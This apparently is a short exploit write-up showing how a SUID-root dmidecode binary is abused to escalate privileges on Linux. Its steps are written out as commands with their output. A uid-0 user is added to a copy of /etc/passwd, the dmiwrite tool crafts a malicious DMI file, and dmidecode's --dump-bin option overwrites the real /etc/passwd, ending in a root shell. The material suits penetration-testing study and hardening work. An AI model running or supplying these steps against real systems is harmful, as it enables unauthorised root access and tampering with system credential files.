leecybersec / dmidecode

Privilege escalation using dmidecode

Scenario

dmidecode is a utility for reading system hardware information in the SMBIOS format: a standard maintained by the Distributed Management Task Force. https://www.nongnu.org/dmidecode/ is the implementation present in most Linux distributions, including Debian and Red Hat, and was the focus of this investigation.

Command dmidecode has SUID (chmod 4000) - run as the owner, not the user who started it.

hades@ubuntu:~/dmiwrite$ ls -l $(which dmidecode)
-rwsr-xr-x 1 root root 121856 Dec 23  2019 /usr/sbin/dmidecode

Privilege escalation

dmidecode suid method changing /etc/passwd

Create user backups

Generate hash password with openssl

hades@ubuntu:~$ openssl passwd -1 -salt backups bk
$1$backups$FlLpDMVKJpRZ.KXaZE.FW.

Fill to file /etc/passwd

backups:$1$backups$FlLpDMVKJpRZ.KXaZE.FW.:0:0:,,,:/root:/bin/bash

Copy file /etc/passwd to passwd.bak and add backups user to the end of the file

hades@ubuntu:~$ cp /etc/passwd /tmp/passwd.bak
hades@ubuntu:~$ echo 'backups:$1$backups$FlLpDMVKJpRZ.KXaZE.FW.:0:0:,,,:/root:/bin/bash' >> /tmp/passwd.bak

Generate payload

hades@ubuntu:~/dmiwrite$ make dmiwrite
gcc -W -Wall -Wshadow -Wstrict-prototypes -Wpointer-arith -Wcast-qual -Wcast-align -Wwrite-strings -Wmissing-prototypes -Winline -Wundef dmiwrite.c util.c -o dmiwrite

hades@ubuntu:~/dmiwrite$ ./dmiwrite /tmp/passwd.bak evil.dmi
Wrote payload of length 2962 to evil.dmi
Padding 980078 bytes to evil.dmi
	Setting checksum: memset(buf+30, 202, 1);

Wrote DMI header of length 32 to evil.dmi
Padding 65536 bytes to evil.dmi
Congratulations, evil.dmi looks like a valid DMI file.

Getting root

hades@ubuntu:~/dmiwrite$ su backups
su: user backups does not exist
hades@ubuntu:~/dmiwrite$ dmidecode --no-sysfs -d evil.dmi --dump-bin /etc/passwd
# dmidecode 3.2
Scanning evil.dmi for entry point.
SMBIOS 2.1 present.
1 structures occupying 2962 bytes.
Table at 0x00000000.

# Writing 2962 bytes to /etc/passwd.
# Writing 0 bytes to /etc/passwd.
/etc/passwd: fwrite: No such file or directory
hades@ubuntu:~/dmiwrite$ su backups
Password: 
backups@ubuntu:/home/hades/dmiwrite# id
uid=0(backups) gid=0(root) groups=0(root)

Reference

https://github.com/adamreiser/dmiwrite

https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/